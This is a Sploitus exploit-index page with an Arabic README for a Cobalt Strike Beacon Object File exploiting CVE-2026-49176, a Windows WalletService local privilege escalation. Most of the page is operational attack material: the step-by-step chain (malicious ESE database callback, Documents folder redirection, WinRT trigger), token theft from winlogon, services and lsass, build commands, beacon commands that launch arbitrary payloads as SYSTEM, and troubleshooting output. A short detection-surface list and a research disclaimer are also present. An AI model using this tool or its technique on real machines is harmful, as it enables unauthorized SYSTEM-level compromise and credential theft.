Sploitus

Exploit for CVE-2026-49176_BOF

kitploit · 2026-09-03

Exploit Code

MARKDOWN300 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-777ERP-CVE-2026-49176_BOF
# CVE-2026-49176 Cobalt Strike BOF

ملف **Beacon Object File (BOF)** خاص بـ Cobalt Strike لتصعيد الامتيازات المحلية عبر خدمة **WalletService** في ويندوز (**CVE-2026-49176** ، تم إصلاحه في يوليو 2026).

من خلال Beacon بسلامة متوسطة (مستخدم قياسي)، تقوم هذه الأداة بتجهيز قاعدة بيانات ESE خبيثة لـ Wallet، وإعادة توجيه مجلد Documents، وتحفيز WalletService، وتشغيل **سطر أوامر يحدده المستدعي** بصلاحيات **`NT AUTHORITY\SYSTEM`** على **سطح المكتب التفاعلي**.

> **نسخة BOF فقط.**  
>  الـ PoC الأصلي المستقل بـ PowerShell: DavidCarliez/CVE-2026-49176_LPE_POC. نفس السبب الجذري للثغرة؛ طريقة توصيل مختلفة وإطلاق عملية مختلف بعد SYSTEM.

* * *

## إخلاء مسؤولية

لأغراض البحث الأمني المصرح به والتعليم والتحقق الدفاعي فقط.

* * *

## الثغرة (مشتركة مع الـ PoC الأصلي)

يقوم WalletService بحل `FOLDERID_Documents` أثناء انتحال هوية المستدعي، ثم يعود إلى **LocalSystem** قبل فتح:

root@kitploit:~
    
    
    <Documents>\Wallet\wallet.db
    

يمكن لمستخدم قياسي زرع رد اتصال **افتراضي معرّف من المستخدم** خاص بـ ESE (`PATH\payload.dll!Export`) في تلك القاعدة، وتوجيه مجلد Documents إلى دليل يتحكم فيه، واستدعاء WinRT `WalletManager.RequestStoreAsync` / `GetItemsAsync` بحيث تقوم الخدمة بتحميل الـ DLL **بصلاحيات SYSTEM**.

الشرح التقني: CVE-2026-49176 Exploit Development: WalletService to SYSTEM

* * *

## الـ BOF مقابل الـ PoC الأصلي — مسار تصعيد الامتيازات

### المتشابه: كيفية الحصول على تنفيذ كود بصلاحيات SYSTEM

root@kitploit:~
    
    
    Standard user
      → seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
      → SHSetKnownFolderPath(FOLDERID_Documents) → staging root
      → trigger WalletService (WinRT RequestStore / GetItems)
      → service opens DB as LocalSystem → LoadLibrary(callback DLL)
      → attacker code runs as SYSTEM   ← LPE complete
    

المرحلة| الـ PoC الأصلي| هذا الـ BOF  
---|---|---  
زرع قاعدة بيانات ESE| `wallet_ese_seed.exe`| داخل الـ BOF `Jet*A`  
إعادة توجيه Documents| `documents_path.exe`| داخل الـ BOF `SHGet/SetKnownFolderPath`  
تحفيز Wallet| PowerShell WinRT| داخل الـ BOF `RoGetActivationFactory`  
DLL رد الاتصال| `wallet_callback_shell.dll`| `wallet_callback.dll`  
  
### الاختلاف: عملية SYSTEM تفاعلية بعد رد الاتصال

غالبًا ما يستخدم WalletService **رمز SYSTEM مُصفّى** (بدون `SeAssignPrimaryToken` / `SeImpersonate` قابلين للاستخدام). الاستدعاء المباشر لـ `CreateProcess*` يؤدي إلى **1314**.

| الـ PoC الأصلي| هذا الـ BOF  
---|---|---  
العملية الهدف| `cmd.exe` مثبّتة في الكود| **سطر أوامر يوفره المشغّل**  
الأسلوب الأساسي| **خدمة** مؤقتة ← `shell_broker.exe` ← `CreateProcessAsUserW`| **سرقة رمز** من `winlogon` / `services` / `lsass` ← إطلاق  
الأسلوب الاحتياطي| لا يوجد| SCM + `cmd.exe /c "shell_broker.exe" "result.txt"`  
  
root@kitploit:~
    
    
    Original PoC (post-SYSTEM):
      DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe
    
    This BOF (post-SYSTEM):
      DLL → steal winlogon/services/lsass token → spawn <command>
         → else CreateService(cmd /c broker) → broker → spawn <command>
    

* * *

## الميزات

  * أمر Beacon واحد لتشغيل أي أمر/ملف بصلاحيات SYSTEM على سطح المكتب النشط
  * السلسلة كاملة داخل العملية: تجهيز ← زرع ← إعادة توجيه ← تحفيز ← انتظار ← استعادة Documents
  * تضمين `wallet_callback.dll` \+ `shell_broker.exe` عبر `bof_pack("bbZ")`
  * إطلاق متعدد الاستراتيجيات بعد SYSTEM + تشخيصات `result.txt`
  * x64 فقط



* * *

## المتطلبات

البند| المتطلب  
---|---  
Beacon| **x64** ، سلامة متوسطة (**غير مرتفعة**)  
الهدف| WalletService المتأثر بالثغرة (قبل تصحيح يوليو 2026)  
CS| Cobalt Strike 4.x مع دعم BOF  
البناء| VS 2019/2022 C++ + Windows 10 SDK (`esent.h`, WinRT)  
  
* * *

## هيكل الملفات

root@kitploit:~
    
    
    bof/
    ├── README.md
    ├── entry.cpp                 # BOF orchestrator (go)
    ├── bofdefs.h / beacon.h
    ├── beacon-debug.h
    ├── cve2026_49176.cna
    ├── build.bat
    ├── payload/
    │   ├── wallet_callback.c
    │   └── shell_broker.c
    ├── bin/
    │   ├── BOF/cve2026_49176.x64.o
    │   └── payload/
    │       ├── wallet_callback.dll
    │       └── shell_broker.exe
    └── resources/strip_bof.ps1
    

* * *

## البناء

root@kitploit:~
    
    
    cd bof
    build.bat
    

الأمر| المخرجات  
---|---  
`build.bat` / `build.bat both`| DLL + broker + x64 BOF  
`build.bat payload`| DLL + broker فقط  
`build.bat clean`| حذف الملفات الناتجة  
  
root@kitploit:~
    
    
    bin\payload\wallet_callback.dll
    bin\payload\shell_broker.exe
    bin\BOF\cve2026_49176.x64.o
    

عدّل مسارات `VCVARS64` في `build.bat` إذا كان VS غير مثبت في المسار الافتراضي.  
أعلام حرجة: `/DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od` (سلامة رابط CS BOF).

* * *

## الاستخدام

### التحميل

Cobalt Strike → **Scripts** → **Load** → `cve2026_49176.cna`  
(أعد التحميل بعد كل إعادة بناء.)

### الأوامر

root@kitploit:~
    
    
    beacon> cve2026_49176 C:\Windows\System32\cmd.exe
    beacon> cve2026_49176 C:\Windows\Temp\payload.exe
    beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
    

  * لا حاجة لعلامات الاقتباس الخارجية إذا كان المسار لا يحتوي على مسافات.
  * قائمة اختيارية: Beacon → **CVE-2026-49176** → **Run command as SYSTEM...**



### التجهيز على الهدف

root@kitploit:~
    
    
    %LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
    ├── Wallet\wallet.db
    └── payload\
        ├── wallet_callback.dll
        ├── shell_broker.exe
        ├── command.txt          # UTF-16 LE
        └── result.txt
    

### التضمين

root@kitploit:~
    
    
    bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)
    

* * *

## المخرجات المتوقعة

### سطر المهمة

root@kitploit:~
    
    
    [*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]
    

### النجاح (مثال توضيحي)

root@kitploit:~
    
    
    [*] CVE-2026-49176 BOF enter (args=...)
    [*] parsed dll_len=... broker_len=... cmd_bytes=...
    [*] stage payload...
    [+] Seeded wallet.db, column=256
    [*] Documents redirected to: ...
    [+] WalletService triggered
    [*] wait payload result (20s)...
    [+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
    [+] SYSTEM process launched
    [*] Documents restored: ...
    [+] CVE-2026-49176 BOF complete
    

قد تكون قيمة `detail=` إما `winlogon` أو `services` أو `lsass` أو مسار broker.

### حالات الفشل الشائعة

السجل| المعنى  
---|---  
`JetAddColumn: -1003`| مشكلة في معاملات ESE  
`error=1314`| SYSTEM مُصفّى؛ يلزم سرقة رمز أو broker  
`STEAL_FAIL error=5`| تعذّر فتح العملية/الرمز المستهدف  
`StartService error=32`| انتهاك مشاركة (يُخفَّف عبر غلاف cmd)  
`detail=all_methods`| فشلت جميع استراتيجيات ما بعد SYSTEM  
الرابط `Unknown symbol '??_C@_...'`| أعلام بناء BOF خاطئة؛ أعد البناء باستخدام `build.bat`  
  
يتم استعادة مجلد Documents حتى عند الفشل إذا نجحت إعادة التوجيه.

* * *

## البنية

root@kitploit:~
    
    
    cve2026_49176.cna
      └─ inline-execute(entry.o, go, bbZ)
            entry.cpp
              ├─ stage files under %LOCALAPPDATA%
              ├─ Jet*A seed wallet.db
              ├─ SHSetKnownFolderPath(Documents)
              ├─ WinRT WalletManager trigger
              └─ wait result.txt + restore Documents
    
    wallet_callback.dll (WalletService, SYSTEM)
      ├─ steal winlogon / services / lsass token → spawn command
      └─ fallback: CreateService(cmd /c shell_broker)
    
    shell_broker.exe
      └─ command.txt → CreateProcessAsUser (interactive session)
    

* * *

## سطح الاكتشاف

  * تغيير مجلد Documents المعروف
  * `%LOCALAPPDATA%\CVE-2026-49176-BOF\*` \+ `wallet.db` \+ DLL رد الاتصال
  * تحميل WalletService لـ DLL قابل للكتابة من المستخدم
  * `OpenProcess` / واجهات API الخاصة بالرموز ضد winlogon/lsass/services
  * خدمات قصيرة العمر `CVE49176_*`
  * `CreateProcessAsUserW` / `CreateProcessWithTokenW` نحو جلسات تفاعلية



* * *

## القيود

  * x64 فقط؛ يتطلب WalletService غير مُصحَّح
  * قد تكون واجهة WinRT الخاصة بـ Wallet غير متاحة/مُهملة في بعض الإصدارات
  * لا يتم حذف دليل التجهيز تلقائيًا
  * يعمل ESE/WinRT **داخل Beacon** (خطر تعطّل مقارنة بالـ PoC الأصلي المعزول في عملية مستقلة)



* * *

## مواضيع ذات صلة

الرابط| الوصف  
---|---  
DavidCarliez/CVE-2026-49176_LPE_POC| الـ PoC الأصلي المستقل لتصعيد الامتيازات المحلية (PoC بحثي من المنبع)  
الشرح التقني| المقال البحثي الأصلي